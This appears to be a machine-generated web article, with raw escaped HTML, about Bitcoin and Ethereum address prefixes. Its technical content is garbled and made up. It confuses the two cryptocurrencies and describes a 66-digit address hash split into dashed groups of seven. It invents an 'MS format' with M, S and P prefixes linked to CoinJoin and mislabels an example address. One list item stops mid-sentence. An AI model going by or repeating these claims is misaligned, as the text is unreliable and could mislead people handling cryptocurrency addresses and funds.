One of the most commonly asked questions is: what prefixes do these addresses follow? The answer may seem straightforward, but the reality is more complex than you might think.<\/p>\n<\/p>\n<p>In this article, we&#8217;ll delve into the world of Bitcoin address prefixes and explain why they&#8217;re not always as simple as &#8220;1&#8221; at first glance.<\/p>\n<\/p>\n<p><strong>What are prefix-based addresses?<\/strong><\/p>\n<\/p>\n<p>Prefix-based addresses are a way to represent an Ethereum address using a shorter string of characters. These prefixes are used in conjunction with a longer hexadecimal code, known as the <br \/><strong>address hash<\/strong>, which makes up the majority of the address.<\/p>\n<\/p>\n<p>The address hash is composed of 66 digits (64 for the leading &#8220;1&#8221; and 2 for the suffix &#8220;.&#8221;) that are divided into eight groups of seven, separated by dashes. Each group corresponds to a specific number from 0 to 65, where:<\/p>\n<\/p>\n<ul>\n<li>The first six numbers represent the check digit<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>The seventh number is always<\/li>\n<\/ul>\n<\/p>\n<p><strong>The prefixes<\/strong><\/p>\n<\/p>\n<p>There are several prefix-based address formats in use on Ethereum:<\/p>\n<\/p>\n<p><\/p>\n<h3><\/h3>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/uXVMmDb6lVw\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p>Basic Address Format (with leading &#8220;1&#8221;)<\/p>\n<\/p>\n<p>This format is the most common and is represented as a single hexadecimal string with &#8220;1&#8221; as its leading character.<\/p>\n<\/p>\n<p><pre><code><\/p><p>0x01...<\/p><p>\n<\/p><p><\/code><\/pre>\n<\/p>\n<\/p>\n<p><\/p>\n<h3><\/h3>\n<p>Basic Prefix (with leading &#8220;X&#8221;)<\/p>\n<\/p>\n<p>The prefix is \u200b\u200bintroduced to indicate that the address should be split into multiple segments.

The MS format requires three different prefixes: <br \/><strong>M<\/strong><\/p>\n<p>, <br \/><strong>S<\/strong>, and <br \/><strong>P<\/strong>. Each segment starts with a specific prefix, followed by the check digit.<\/p>\n<\/p>\n<p><pre><code><\/p><p>0xMS...<\/p><p>\n<\/p><p><\/code><\/pre>\n<\/p>\n<\/p>\n<ul>\n<li><strong>M<\/strong> for the first segment<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li><strong>S<\/strong> for the second segment<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li><strong>P<\/strong> for the third segment<\/li>\n<\/ul>\n<\/p>\n<p>The MS format is used in situations like CoinJoin, where multiple addresses are combined to create a single wallet address. 3M8XGFBKwkf7miBzpkU3x2DoWwAVrD1mhk follows this format.<\/p>\n<\/p>\n<p><strong>Example:<\/strong><\/p>\n<\/p>\n<p>As we saw with the example above, 3M8XGFBKwkf7miBzpkU3x2DoWwAVrD1mhk is an MS address.
